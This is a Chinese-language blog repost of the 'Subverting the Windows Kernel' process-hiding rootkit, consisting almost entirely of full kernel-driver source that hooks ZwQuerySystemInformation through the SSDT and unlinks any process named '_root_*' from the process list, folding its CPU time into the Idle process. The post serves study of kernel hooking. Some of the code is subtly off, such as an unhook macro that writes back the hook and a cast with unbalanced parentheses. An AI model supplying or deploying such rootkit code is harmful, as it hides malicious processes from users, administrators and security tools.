[转]ROOT进程隐藏

原文 http://blog.sina.com.cn/s/blog_5371d2790100d2fg.html

这是《subverting windows kernel》中API hook的一个例子,实现的功能就是进程隐藏。

    实现机制:系统通过调用ZwQuerySystemInformation函数实现系统信息的查询,比如Taskmgr.exe使用该函数列举系统中运行的进程。通过Hook该函数并进行修改,对查询结果进行操作,从而实现进程隐藏。

具体代码+分析:

代码结构:四部分。第一部分:变量、宏、数据结构、函数原型等的声明

                  第二部分:NewZwQuerySystemInformation函数体

                  第三部分:驱动基本组成部分,DriverEntry和OnUnload

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 

#include "ntddk.h"

#pragma pack(1)

//定义一个KeServiceDescriptorTable结构体,该结构用来强制转换由windows内核导出的//KeServiceDescriptorTable变量的类型。

typedef struct ServiceDescriptorEntry {

        unsigned int *ServiceTableBase;

        unsigned int *ServiceCounterTableBase; //Used only in checked build

        unsigned int NumberOfServices;

        unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

// SYSTEMSERVICE 该宏采用由Ntoskrnl.exe导出的Zw*函数的地址,并返回相应的Nt*

//函数在SSDT中的地址

#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

//MDL是一个内存描述符列表,这里声明一块内存区域。

PMDL  g_pmdlSystemCall;

PVOID *MappedSystemCallTable;

// SYSCALL_INDEX宏采用Zw*函数地址并返回它在SSDT中相应的索引号。

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

 

#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \

       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

// UNHOOK_SYSCALL宏的作用是:

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \

       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

 

//系统线程结构体定义

struct _SYSTEM_THREADS

{

        LARGE_INTEGER           KernelTime;

        LARGE_INTEGER           UserTime;

        LARGE_INTEGER           CreateTime;

        ULONG                           WaitTime;

        PVOID                           StartAddress;

        CLIENT_ID                       ClientIs;

        KPRIORITY                       Priority;

        KPRIORITY                       BasePriority;

        ULONG                           ContextSwitchCount;

        ULONG                           ThreadState;

        KWAIT_REASON            WaitReason;

};

//系统进程结构体定义

struct _SYSTEM_PROCESSES

{

        ULONG                           NextEntryDelta;

        ULONG                           ThreadCount;

        ULONG                           Reserved[6];

        LARGE_INTEGER           CreateTime;

        LARGE_INTEGER           UserTime;

        LARGE_INTEGER           KernelTime;

        UNICODE_STRING          ProcessName;

        KPRIORITY                       BasePriority;

        ULONG                           ProcessId;

        ULONG                           InheritedFromProcessId;

        ULONG                           HandleCount;

        ULONG                           Reserved2[2];

        VM_COUNTERS                     VmCounters;

        IO_COUNTERS                     IoCounters; //windows 2000 only

        struct _SYSTEM_THREADS          Threads[1];

};

 

//处理器时间结构体定义

struct _SYSTEM_PROCESSOR_TIMES

{

              LARGE_INTEGER                             IdleTime;

              LARGE_INTEGER                             KernelTime;

              LARGE_INTEGER                             UserTime;

              LARGE_INTEGER                             DpcTime;

              LARGE_INTEGER                             InterruptTime;

              ULONG                                            InterruptCount;

};

 

// ZwQuerySystemInformation函数声明

NTSYSAPI

NTSTATUS

NTAPI ZwQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength);

 

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(

            ULONG SystemInformationCLass,

                        PVOID SystemInformation,

                        ULONG SystemInformationLength,

                        PULONG ReturnLength

);

//保存原来的函数原型

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

 

//定义两个全局变量,用于保存全局内核时间和用户时间

LARGE_INTEGER                             m_UserTime;

LARGE_INTEGER                             m_KernelTime;

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 

// ZwQuerySystemInformation() returns a linked list of processes.

// The function below imitates it, except it removes from the list any

// process who's name begins with "_root_".

 

NTSTATUS NewZwQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength)

{

   NTSTATUS ntStatus;

      

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

                                   SystemInformationClass,

                                   SystemInformation,

                                   SystemInformationLength,

                                   ReturnLength );

 

   if( NT_SUCCESS(ntStatus))

   {

      // Asking for a file and directory listing

      if(SystemInformationClass == 5)

      //SystemInformationClass =5代表查询系统进程信息

      {

              //定义两个进程结构体,curr和prev

               struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

         struct _SYSTEM_PROCESSES *prev = NULL;

               

               while(curr)

               {

            //DbgPrint("Current item is %x\n", curr);

                     if (curr->ProcessName.Buffer != NULL)

                     {

                            if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))

                            {

                                   m_UserTime.QuadPart += curr->UserTime.QuadPart;

                                   m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

 

                                   if(prev) // Middle or Last entry

                                   {

                                          if(curr->NextEntryDelta)

                                                 prev->NextEntryDelta += curr->NextEntryDelta;

                                          else  // we are last, so make prev the end

                                                 prev->NextEntryDelta = 0;

                                   }

                                   else

                                   {

                                          if(curr->NextEntryDelta)

                                          {

                                              // we are first in the list, so move it forward

                                           (char *)SystemInformation += curr->NextEntryDelta;

                                          }

                                          else // we are the only process!

                                                 SystemInformation = NULL;

                                   }

                            }

                     }

                     else // This is the entry for the Idle process

                     {

                        // Add the kernel and user times of _root_*

                        // processes to the Idle process.

                        curr->UserTime.QuadPart += m_UserTime.QuadPart;

                        curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

 

                        // Reset the timers for next time we filter

                        m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

                     }

                     prev = curr;

                  if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

                  else curr = NULL;

            }

         }

         else if (SystemInformationClass == 8) // Query for SystemProcessorTimes

         {

         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

         }

 

   }

   return ntStatus;

}

 

 

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)

{

   DbgPrint("ROOTKIT: OnUnload called\n");

 

   // unhook system calls

   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

 

   // Unlock and Free MDL

   if(g_pmdlSystemCall)

   {

      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);

      IoFreeMdl(g_pmdlSystemCall);

   }

}

 

 

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

                     IN PUNICODE_STRING theRegistryPath)

{

   // Register a dispatch function for Unload

   theDriverObject->DriverUnload  = OnUnload;

 

   // Initialize global times to zero

   // These variables will account for the

   // missing time our hidden processes are

   // using.

   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

 

   // save old system call locations

 OldZwQuerySystemInformation    =(ZWQUERYSYSTEMINFORMATION(SYSTEMSERVICE(ZwQuerySystemInformation));

 

   // Map the memory into our domain so we can change the permissions on the MDL

   g_pmdlSystemCall = MmCreateMdl(NULL,                       KeServiceDescriptorTable.ServiceTableBase,                         KeServiceDescriptorTable.NumberOfServices*4);

   if(!g_pmdlSystemCall)

      return STATUS_UNSUCCESSFUL;

    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

    // Change the flags of the MDL

   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

    MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

    // hook system calls

   HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );            

   return STATUS_SUCCESS;

}

       总结:系统中的进程通过一个双向链表(是不是循环的还有待验证)组织在一起,代码中红色部分,就是执行一个遍历过程。刚开始有点迷糊,后来再请教了看雪的一个朋友后总算搞懂了。

posted @ 2014-04-11 10:10  xuanku  阅读(369)  评论(0编辑  收藏  举报